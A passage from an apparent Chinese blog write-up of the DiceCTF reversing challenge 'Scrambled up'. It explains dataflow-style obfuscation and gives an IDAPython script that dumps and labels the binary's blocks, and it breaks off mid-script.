class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(a &gt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">while</span>(TRUE)&#123;</span><br><span class="line">    a += <span class="number">6</span>;</span><br><span class="line">    <span class="keyword">if</span>(b-a &lt; <span class="number">0x100</span>)&#123;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">  <span class="comment">// code</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从程序上来看，<code>if..else..</code>是两个完全不相关的逻辑，这就意味这程序本身是以<strong>执行流</strong>作为指导，比如说：</p><ul><li>程序会因为传入的数据变化进入不同的分支，并非所有的逻辑都会被触发</li><li>程序执行的过程中，可能同一个变量会持续地被修改</li><li>程序地条件语句执行变化非常的丰富</li></ul><p>即使是进行混淆（例如ollvm的<strong>扁平化</strong>），本质是基于执行流，即通过增加状态值，让程序跳转到不同的执行块上。这种编程方式我们临时性的定义为<strong>执行流编程</strong></p><p>然而根据前面分析我们可以知道，本题有以下几个特征</p><ul><li>程序运行为简单的线性，所有的逻辑都会被执行一遍</li><li>程序执行过程中，只有输入变量和输出变量，并且输入变量恒定不变。当程序有需要修改输入变量指向的位置地时候，会将输入变量本身输出到另一个代码块，然后再执行</li><li>程序条件判断很简单，只有判断0和非0两种情况</li></ul><p>根据搜索，这种被称之为<strong>数据流编程</strong>（Dataflow programming）也就是使用数据流作为串联整个程序地核心。</p><p>将这两个对比可以得到如下地结果</p><table><thead><tr><th>执行流编程</th><th>数据流编程</th></tr></thead><tbody><tr><td>根据输入情况，并非所有逻辑都会执行（不考虑exit等系统调用）</td><td>无论输入如何变化，所有逻辑都会被执行（不考虑exit等系统调用）</td></tr><tr><td>程序中的单一变量可能被修改</td><td>存在输入和输出变量，输入变量一定不能被修改</td></tr><tr><td>条件语句较为丰富</td><td>条件判断单一</td></tr></tbody></table><h2 id="题目分析">题目分析</h2><h3 id="题目初步分析">题目初步分析</h3><p>这里对比以后，我们会发现这个题目存在以下难题：</p><ol><li>我们不能像以前一样简单的模拟程序，从而还原当前程序。常见地去混淆之类的技巧就是通过模拟运行（或者真实运行）重组当前执行流，然而当前程序执行流均被展开。比如说for循环中的i在这个数据流中完全被展开了，不存在形如（BlockA -&gt; BlockB -&gt; BlockA）这种执行顺序。因此循环和判断语句需要完全凭借经验进行转换。</li><li>即使尝试进行执行流还原，粒度也会非常细。每一个BlockA最多只会执行一个简单的函数（除了maze_step）这样一来我们就很难像常见的逆向题一样，根据一些特定的特征函数对数据进行还原。</li><li>程序的变量传递是随着程序进行的。不同于执行流，这个数据流程序的变量一直都是持续的传递和组合，而传统的执行流程序很多时候<strong>并非真的需要完全解密</strong>（除了某些SMC程序）往往找到<strong>条件判断|加密</strong>这两部分逻辑，再在关键位置进行dump，就能够还原原先的逻辑。即便是类VM的程序，也能够根据对应的VM所指令，将指定的变量按照对应寄存器之类的处理还原，最后能够还原出整体逻辑。然而当前程序本身粒度非常细，并且变量传递非常频繁，这就需要人为主动的根据逻辑分析哪些变量是无需考虑，哪些变量需要我们持续追踪。</li></ol><p>分析了上述难点后，我们发现，想要解出这道题，需要满足如下需求：</p><ul><li>尽可能地打印原始的数据流块，并且需要还原变量传递的关系。虽然粒度非常细，但是通过审计和猜测，可以得到部分数据块之间的关系。</li><li>在尽可能程序运行结尾处进行内存dump等工作，这样能保证所有变量已经完成了传递。这种数据流虽然缺失了执行跳转，但是从另一个角度说，在结尾处，所有的逻辑都会被执行。这就意味着即便是输入出错，我们也能获取完整的逻辑。</li><li>每一个Block都有多个参数，参数的赋值顺序来自于其在Edge中注册的顺序，越早注册的argv下标越大，需要结合edge弄明白变量来自于哪个block。</li></ul><h3 id="阶段一：数据流dump">阶段一：数据流dump</h3><p>为了尽可能的获取数据，我们可以在ExecFunc8，也就是确认flag是否正确的函数处下断点，当程序能够运行到当前位置的时候，说明所有的Block解密部分以及数据传递已经完成。</p><p><img src="/2024/02/13/DiceCTF-Scrambled-up/img00.png" alt=""></p><p>此时，内存中的数据如图：<br><img src="/2024/02/13/DiceCTF-Scrambled-up/img01.png" alt=""></p><p>此即为Block所在的堆。于是此时我们可以尝试dump完整的运行中Block数据。根据当前的偏移，计算起始坐标：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x7FABE02BC0D8(current_addr) - 0x48(sizeof(Block1))*0x1191(line)</span><br></pre></td></tr></table></figure><p>同时，我们找到<code>edge</code>对应的位置：<br><img src="/2024/02/13/DiceCTF-Scrambled-up/img02.png" alt=""><br><img src="/2024/02/13/DiceCTF-Scrambled-up/img03.png" alt=""></p><p>此时，我们找到了关键的<code>Block</code>和对应的关联<code>Edge</code>。编写脚本，将所有的执行流dump下来:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> idc</span><br><span class="line"><span class="keyword">import</span> idaapi</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">CONTENT_TYPE_CGI = <span class="number">1</span></span><br><span class="line">CONTENT_TYPE_BIN = <span class="number">8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_dir</span>(<span class="params">path</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(path):</span><br><span class="line">        os.makedirs(path)</span><br><span class="line"></span><br><span class="line">func_map = &#123;</span><br><span class="line">    <span class="string">b&#x27;UH\x89\xe5H\x81\xec\xd0\x03\x00\x00H\x89\xbd8\xfc\xff\xff\x8bE\x18\x83\xf8\x02\x0f\x85\x91\x00\x00\x00H\xc7E\xf8\x00\x00\x00\x00H\xc7E\xf0\x00\x00\x00\x00\xeb(H\x8bU\xf0H\x89\xd0H\x01\xc0H\x01\xd0H\xc1\xe0\x03H\x8d@\x10H\x01\xe8H\x83\xc0\x10H\x8b\x00H1E\xf8H\x83E\xf0\x01H\x8bE\x10H9E\xf0r\xceH\x8b\x858\xfc\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfc\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfc\xff\xff\xc7@\x08\x02\x00\x00\x00H\x8b\x858\xfc\xff\xffH\x8bU\xf8H\x89P\x10\xe9\xfc\x00\x00\x00H\x8bE H\x8bU(H\x89E\xc0H\x89U\xc8H\x8bE8H\x8bU@H\x89E\xb0H\x89U\xb8H\x8bE\xc8H\x89E\xe0H\x8bE\xb8H\x89E\xd8H\x8bU\xd8H\x8bE\xe0H9\xc2H\x0fC\xc2H\x89E\xd0H\x8b\x95\x98\x01\x00\x00H\x8bE\xd0H\x89\xc7\xff\xd2H\x89E\xa0H\x8bE\xd0H\x89E\xa8H\xc7E\xe8\x00\x00\x00\x00\xeb2H\x8bU\xc0H\x8bE\xe8H\x01\xd0\x0f\xb60H\x8bU\xb0H\x8bE\xe8H\x01\xd0\x0f\xb6\x08H\x8bU\xa0H\x8bE\xe8H\x01\xd01\xce\x89\xf2\x88\x10H\x83E\xe8\x01H\x8bE\xe8H;E\xd0r\xc4L\x8bE\xa0H\x8b\x858\xfc\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfc\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfc\xff\xff\xc7@\x08\x01\x00\x00\x00H\x8b\x858\xfc\xff\xffL\x89@\x10H\x8b\x858\xfc\xff\xffH\x8bU\xd0H\x89P\x18H\x8b\x858\xfc\xff\xff\xc9\xc3\x00&#x27;</span>:<span class="string">&quot;xor_all_argv&quot;</span>,</span><br><span class="line">    <span class="string">b&#x27;UH\x89\xe5H\x81\xecH\x01\x00\x00H\x89\xbdH\xfe\xff\xffH\x8d\x95p\xfe\xff\xff\xb8\x00\x00\x00\x00\xb91\x00\x00\x00H\x89\xd7\xf3H\xabH\x8bE\x10H\x89\x85p\xfe\xff\xffH\xc7E\xf8\x00\x00\x00\x00\xe9\x91\x00\x00\x00H\x8bU\xf8H\x89\xd0H\x01\xc0H\x01\xd0H\xc1\xe0\x03H\x8d@\x10H\x01\xe8H\x83\xc0\x10H\x8b\x00H\x85\xc0\x0f\x94\xc0\x0f\xb6\xc8H\x8bU\xf8H\x89\xd0H\x01\xc0H\x01\xd0H\xc1\xe0\x03H\x01\xe8H-\x90\x01\x00\x00f\x0f\xef\xc0\x0f\x11@\x08f\x0f\xd6@\x18H\x8bU\xf8H\x89\xd0H\x01\xc0H\x01\xd0H\xc1\xe0\x03H\x01\xe8H-\x88\x01\x00\x00\xc7\x00\x02\x00\x00\x00H\x8bU\xf8H\x89\xd0H\x01\xc0H\x01\xd0H\xc1\xe0\x03H\x01\xe8H-\x80\x01\x00\x00H\x89\x08H\x83E\xf8\x01H\x8bE\x10H9E\xf8\x0f\x82a\xff\xff\xffH\x8b\x85H\xfe\xff\xffH\x89\xc7H\x8d\x85p\xfe\xff\xff\xba1\x00\x00\x00H\x89\xc6H\x89\xd1\xf3H\xa5H\x8b\x85H\xfe\xff\xff\xc9\xc3\x00&#x27;</span>:<span class="string">&quot;check_if_zero&quot;</span>,</span><br><span class="line">    <span class="string">b&#x27;UH\x89\xe5H\x81\xecX\x01\x00\x00H\x89\xbd8\xfe\xff\xffH\xc7E\xf8\xff\xff\xff\xffH\xc7E\xf0\x00\x00\x00\x00\xeb(H\x8bU\xf0H\x89\xd0H\x01\xc0H\x01\xd0H\xc1\xe0\x03H\x8d@\x10H\x01\xe8H\x83\xc0\x10H\x8b\x00H!E\xf8H\x83E\xf0\x01H\x8bE\x10H9E\xf0r\xceH\x8b\x858\xfe\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfe\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfe\xff\xff\xc7@\x08\x02\x00\x00\x00H\x8b\x858\xfe\xff\xffH\x8bU\xf8H\x89P\x10H\x8b\x858\xfe\xff\xff\xc9\xc3\x00&#x27;</span>:<span class="string">&quot;and_all_argv&quot;</span>,</span><br><span class="line">    <span class="string">b&#x27;UH\x89\xe5H\x81\xec\xd0\x03\x00\x00H\x89\xbd8\xfc\xff\xffH\x8bE H\x89E\xf8H\x83&#125;\xf8\x00utH\x8b\x85\x98\x01\x00\x00\xbf\x0c@\x00\x00\xff\xd0H\x89E\xe0H\x8bE\xe0\xc7\x00@\x00\x00\x00H\x8bE\xe0\xc7@\x04@\x00\x00\x00L\x8bE\xe0H\x8b\x858\xfc\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfc\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfc\xff\xff\xc7@\x08\x02\x00\x00\x00H\x8b\x858\xfc\xff\xffL\x89@\x10\xe9\x9d\x02\x00\x00H\x8bE8H\x89E\xd8H\x8bE\xd8H\x83\xf8\x0cutH\x8bE\xf8\x0f\xb6@\x08\x84\xc0t\x08A\xb8\x00\x00\x00\x00\xeb\x17H\x8bE\xf8\x8b\x00\xc1\xe0\x10\x89\xc2H\x8bE\xf8\x8b@\x04\t\xd0A\x89\xc0H\x8b\x858\xfc\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfc\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfc\xff\xff\xc7@\x08\x02\x00\x00\x00H\x8b\x858\xfc\xff\xffL\x89@\x10\xe9\x17\x02\x00\x00H\x8bE\xd8H\x83\xf8\nt\nH\x8bE\xd8H\x83\xf8\x0buzH\x8bEPH\x89E\xf0H\x8bEhH\x89E\xe8H\x8bE\xf8H\x8bU\xf0H\xc1\xe2\x07H\x01\xc2H\x8bE\xe8H\x01\xd0H\x83\xc0\t\xc6\x00\xffL\x8bE\xf8H\x8b\x858\xfc\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfc\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfc\xff\xff\xc7@\x08\x02\x00\x00\x00H\x8b\x858\xfc\xff\xffL\x89@\x10\xe9\x89\x01\x00\x00H\x8bE\xd8H\x85\xc0u H\x8bE\xf8\x8b\x00\x8dP\x01H\x8bE\xf8\x89\x10H\x8bE\xf8\x8b@\x04\x8dP\x01H\x8bE\xf8\x89P\x04H\x8bE\xd8H\x83\xf8\x01u\x11H\x8bE\xf8\x8b@\x04\x8dP\x01H\x8bE\xf8\x89P\x04H\x8bE\xd8H\x83\xf8\x02u H\x8bE\xf8\x8b\x00\x8dP\xffH\x8bE\xf8\x89\x10H\x8bE\xf8\x8b@\x04\x8dP\x01H\x8bE\xf8\x89P\x04H\x8bE\xd8H\x83\xf8\x03u\x0fH\x8bE\xf8\x8b\x00\x8dP\xffH\x8bE\xf8\x89\x10H\x8bE\xd8H\x83\xf8\x04u\x0fH\x8bE\xf8\x8b\x00\x8dP\x01H\x8bE\xf8\x89\x10H\x8bE\xd8H\x83\xf8\x05u H\x8bE\xf8\x8b\x00\x8dP\x01H\x8bE\xf8\x89\x10H\x8bE\xf8\x8b@\x04\x8dP\xffH\x8bE\xf8\x89P\x04H\x8bE\xd8H\x83\xf8\x06u\x11H\x8bE\xf8\x8b@\x04\x8dP\xffH\x8bE\xf8\x89P\x04H\x8bE\xd8H\x83\xf8\x07u H\x8bE\xf8\x8b\x00\x8dP\xffH\x8bE\xf8\x89\x10H\x8bE\xf8\x8b@\x04\x8dP\xffH\x8bE\xf8\x89P\x04H\x8bE\xf8\x8b\x10H\x8bE\xf8\x8bH\x04H\x8bE\xf8\x89\xc9\x89\xd2H\xc1\xe2\x07H\x01\xd0H\x01\xc8H\x83\xc0\t\x0f\xb6\x00\x84\xc0t\x08H\x8bE\xf8\xc6@\x08\x01L\x8bE\xf8H\x8b\x858\xfc\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfc\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfc\xff\xff\xc7@\x08\x02\x00\x00\x00H\x8b\x858\xfc\xff\xffL\x89@\x10H\x8b\x858\xfc\xff\xff\xc9\xc3\x00&#x27;</span>:<span class="string">&quot;maze_step&quot;</span>,</span><br><span class="line">    <span class="string">b&#x27;UH\x89\xe5H\x81\xecH\x01\x00\x00H\x89\xbdH\xfe\xff\xffH\x8d\x95p\xfe\xff\xff\xb8\x00\x00\x00\x00\xb91\x00\x00\x00H\x89\xd7\xf3H\xabH\xc7\x85p\xfe\xff\xff\x01\x00\x00\x00\xc7\x85x\xfe\xff\xff\x02\x00\x00\x00H\x8bU H\x8b\x85\xb0\x01\x00\x00H9\xc2s\x16H\x8b\x95\xa8\x01\x00\x00H\x8bE H\x01\xd0\x0f\xb6\x00\x0f\xb6\xc0\xeb\x05\xb8\x00\x00\x00\x00H\x89\x85\x80\xfe\xff\xffH\x8b\x85H\xfe\xff\xffH\x89\xc7H\x8d\x85p\xfe\xff\xff\xba1\x00\x00\x00H\x89\xc6H\x89\xd1\xf3H\xa5H\x8b\x85H\xfe\xff\xff\xc9\xc3\x00&#x27;</span>:<span class="string">&quot;get_index_from_input&quot;</span>,</span><br><span class="line">    <span class="string">b&#x27;UH\x89\xe5H\x81\xecp\x02\x00\x00H\x89\xbd\x98\xfd\xff\xffH\xb8\x0f\r\x07\x08\x05\x03\x06\x04H\xba\x0e\x00\x02\x0b\t\x0c\n\x01H\x89\x85`\xff\xff\xffH\x89\x95h\xff\xff\xff\xc6E\xff\x00\xeb0H\x8bU8\x0f\xb6E\xffH\x01\xd0\x0f\xb6\x00\x83\xf0N\x0f\xb6\xc0\x0f\xb6M\xffH\x98\x0f\xb6\x94\x05`\xff\xff\xffHc\xc1\x88\x94\x05P\xff\xff\xff\x80E\xff\x01\x80&#125;\xff\x0fv\xcaH\x8bE H\x89\x85p\xff\xff\xffH\x8b\x85p\xff\xff\xff\xf3\x0fo\x00\x0f)E\xe0H\x8d\x85P\xff\xff\xffH\x89\x85x\xff\xff\xffH\x8b\x85x\xff\xff\xff\xf3\x0fo\x00\x0f)E\xd0f\x0foE\xe0\x0f)E\x90f\x0foE\xd0\x0f)E\x80f\x0foM\x80f\x0foE\x90f\x0f8\x00\xc1\x0f)E\xc0H\x8b\x85\x98\x01\x00\x00\xbf\x10\x00\x00\x00\xff\xd0H\x89E\xb8H\x8bE\xb8H\x89E\xb0f\x0foE\xc0\x0f)E\xa0f\x0foE\xa0H\x8bE\xb0\x0f\x11\x00\x90H\x8b\x85\x98\xfd\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x85\x98\xfd\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x85\x98\xfd\xff\xff\xc7@\x08\x01\x00\x00\x00H\x8b\x85\x98\xfd\xff\xffH\x8bU\xb8H\x89P\x10H\x8b\x85\x98\xfd\xff\xffH\xc7@\x18\x10\x00\x00\x00H\x8b\x85\x98\xfd\xff\xff\xc9\xc3\x00&#x27;</span>:<span class="string">&quot;reorder&quot;</span>,</span><br><span class="line">    <span class="string">b&#x27;UH\x89\xe5H\x81\xecX\x01\x00\x00H\x89\xbd8\xfe\xff\xffH\xc7E\xf8\x00\x00\x00\x00H\xc7E\xf0\x00\x00\x00\x00\xeb(H\x8bU\xf0H\x89\xd0H\x01\xc0H\x01\xd0H\xc1\xe0\x03H\x8d@\x10H\x01\xe8H\x83\xc0\x10H\x8b\x00H\tE\xf8H\x83E\xf0\x01H\x8bE\x10H9E\xf0r\xceH\x8b\x858\xfe\xff\xffH\x89\xc6\xb8\x00\x00\x00\x00\xba1\x00\x00\x00H\x89\xf7H\x89\xd1\xf3H\xabH\x8b\x858\xfe\xff\xffH\xc7\x00\x01\x00\x00\x00H\x8b\x858\xfe\xff\xff\xc7@\x08\x02\x00\x00\x00H\x8b\x858\xfe\xff\xffH\x8bU\xf8H\x89P\x10H\x8b\x858\xfe\xff\xff\xc9\xc3\x00&#x27;</span>:<span class="string">&quot;or_all_argv&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_var</span>(<span class="params">var_address,var_cnt</span>):</span><br><span class="line">    struct_array = []</span><br><span class="line">    current_address = var_address</span><br><span class="line">    cnt = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># addr = current_address</span></span><br><span class="line">        var_type = idaapi.get_qword(current_address)</span><br><span class="line">        var_or_ptr = idaapi.get_qword(current_address + <span class="number">8</span>)</span><br><span class="line">        var_length = idaapi.get_qword(current_address + <span class="number">0x10</span>)</span><br><span class="line">        cnt += <span class="number">1</span></span><br><span class="line">        <span class="keyword">if</span> cnt &gt; var_cnt:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        struct = &#123;</span><br><span class="line">            <span class="string">&#x27;value_type&#x27;</span>:var_type,</span><br><span class="line">            <span class="string">&#x27;value_or_ptr&#x27;</span>:var_or_ptr,</span><br><span class="line">            <span class="string">&#x27;var_length&#x27;</span>:var_length</span><br><span class="line">        &#125;</span><br><span class="line">        struct_array.append(struct)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 更新当前地址</span></span><br><span class="line">        current_address += <span class="number">0x18</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> struct_array</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_route</span>(<span class="params">start_address</span>):</span><br><span class="line">    struct_array = []</span><br><span class="line">    current_address = start_address</span><br><span class="line">    cnt = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        cnt += <span class="number">1</span></span><br><span class="line">        <span class="comment"># addr = current_address</span></span><br><span class="line">        line = idaapi.get_qword(current_address)</span><br><span class="line">        exec_type = idaapi.get_dword(current_address + <span class="number">4</span>)</span><br><span class="line">        field_C = idaapi.get_dword(current_address + <span class="number">8</span>)</span><br><span class="line">        pointer_cnt = idaapi.get_qword(current_address + <span class="number">0x10</span>)</span><br><span class="line">        pointer_array = idaapi.get_qword(current_address + <span class="number">0x18</span>)</span><br><span class="line">        var_cnt = idaapi.get_qword(current_address + <span class="number">0x20</span>)</span><br><span class="line">        var_buffer = idaapi.get_qword(current_address + <span class="number">0x28</span>)</span><br><span class="line">        value_type = idaapi.get_qword(current_address + <span class="number">0x30</span>)</span><br><span class="line">        value_or_ptr = idaapi.get_qword(current_address + <span class="number">0x38</span>)</span><br><span class="line">        var_length = idaapi.get_qword(current_address + <span class="number">0x40</span>)</span><br><span class="line">        <span class="comment"># router_name = idaapi.get_dword(current_address + 12)</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> cnt &gt; <span class="number">0x149d</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="comment"># if length == 0:</span></span><br><span class="line">        <span class="comment">#     break</span></span><br><span class="line">        argv = parse_var(pointer_array,pointer_cnt)</span><br><span class="line">        struct = &#123;</span><br><span class="line">            <span class="string">&#x27;current_addr&#x27;</span>:current_address,</span><br><span class="line">            <span class="string">&#x27;line&#x27;</span>: line,</span><br><span class="line">            <span class="string">&#x27;reserve&#x27;</span>: exec_type,</span><br><span class="line">            <span class="string">&#x27;exec_type&#x27;</span>: field_C,</span><br><span class="line">            <span class="string">&#x27;argc&#x27;</span>: pointer_cnt,</span><br><span class="line">            <span class="string">&#x27;argv&#x27;</span>:argv,</span><br><span class="line">            <span class="string">&#x27;slot_cnt&#x27;</span>:var_cnt,</span><br><span class="line">            <span class="string">&#x27;slot_buf&#x27;</span>:var_buffer,</span><br><span class="line">            <span class="string">&#x27;value_type&#x27;</span>:value_type,</span><br><span class="line">            <span class="string">&#x27;value_or_ptr&#x27;</span>:value_or_ptr,</span><br><span class="line">            <span class="string">&#x27;var_length&#x27;</span>:var_length</span><br><span class="line">            <span class="comment"># &#x27;router_name&#x27;: router_name</span></span><br><span class="line">        &#125;</span><br><span class="line">        struct_array.append(struct)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 更新当前地址</span></span><br><span class="line">        current_address += <span class="number">0x48</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> struct_array</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_Block</span>(<span class="params">start_address</span>):</span><br><span class="line">    struct_array = []</span><br><span class="line">    current_address = start_address</span><br><span class="line">    cnt = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        cnt += <span class="number">1</span></span><br><span class="line">        <span class="comment"># addr = current_address</span></span><br><span class="line">        nextBlock = idaapi.get_qword(current_address)</span><br><span class="line">        line = idaapi.get_dword(current_address + <span class="number">8</span>)</span><br><span class="line">        argc = idaapi.get_qword(current_address + <span class="number">0x10</span>)</span><br><span class="line">        slot_cnt = idaapi.get_qword(current_address + <span 